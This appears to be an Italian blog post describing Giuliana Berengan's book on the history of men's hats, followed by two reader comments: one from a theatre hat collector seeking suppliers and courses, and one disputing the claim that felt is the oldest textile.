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“I favolosi cappelli” di Giuliana Berengan

Il titolo “FAVOLOSI CAPPELLI” è già indicativo dello stile del libro: un lungo racconto che percorre le vicende del cappello da uomo dalle sue forme più arcaiche fino alle moderne fogge novecentesche.

Cappe, cappucci, berretti e berrette, feltri, tricorni, paglie, colbacchi e lobbie, bombette e cilindri entrano da protagonisti nella narrazione che ci restituisce immagini, personaggi e atmosfere di una storia dell’uomo vista attraverso la storia dei suoi cappelli.

Curiosità, notizie, aneddoti, vizi e virtù di questo oggetto d’abbigliamento funzionale ed estetico ad un tempo scorrono sullo sfondo degli eventi come in un vecchio film muto: Bogart, Caruso, Rodolfo Valentino, Toscanini, D’Annunzio, Puccini e Nuvolari sono soltanto alcuni degli attori che si presentano a noi accompagnati da un inseparabile copricapo.

Il libro vuole essere anche un omaggio a quanti fabbricandolo, indossandolo, creando nuovi modelli, immortalandolo in forme artistiche e materiali diversi hanno contribuito a custodire e valorizzare la tradizione del cappello come complemento insostituibile dell’eleganza maschile.

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2 comments to “I favolosi cappelli” di Giuliana Berengan

  • rita

    uso cappalli da 20 anni e ne ho 29… in tutte le forme e materiali.
    li uso per il teatro e da qualche anno sto personalizzando la mia collezione di cappelli ( oltre40) con dipinti fatti a mano sul feltro e in altri mille modi…
    mi piacerebbe sapere dove si possono comprare cappelli all’ingrosso da poter trasformare e se esiston o corsi o scuole per imparare a fare cappelli…?
    e se esistono posti dove si posssono vendere cappelli come opere d’arte.

  • Anche qui leggo che il feltro è il più antico tessuto del mondo, cosa peraltro che si legge spesso, ma in questo nostro credere siamo tratti in inganno dal fatto che riteniamo che la lana sia uno dei materiali più arcaici che esistano. Ugualmente concorre a creare quest’idea il fatto che il feltro si produce direttamente a partire dalla fibra senza i passaggi di filatura e tessitura necessari alla produzione di stoffe.
    Ma non occorre essere un archeologo per capire che un tessuto si realizza anche a partire da erbe, disponibili in natura, che la pecora per quanto addomesticata in epoca antichissima, non era ‘compagna’ dell’uomo ai tempi di Adamo ed Eva.
    La mummia della Val Senales vestiva in pelle ed aveva un impermeabile in fibre vegetali intrecciate, non aveva nulla in lana, perché a quel tempo la lana non c’era!! Le prime pecore sono state domesticate probabilmente per la produzione di carne e poi per il loro latte. La lana del neolitico era poca, giarrosa e bigia: non particolarmente adatta al feltro, semmai adatta a far cordami.
    E scusate la pedanteria…
    Il feltro è bello anche se è venuto dopo l’invenzione dell’intreccio, no?

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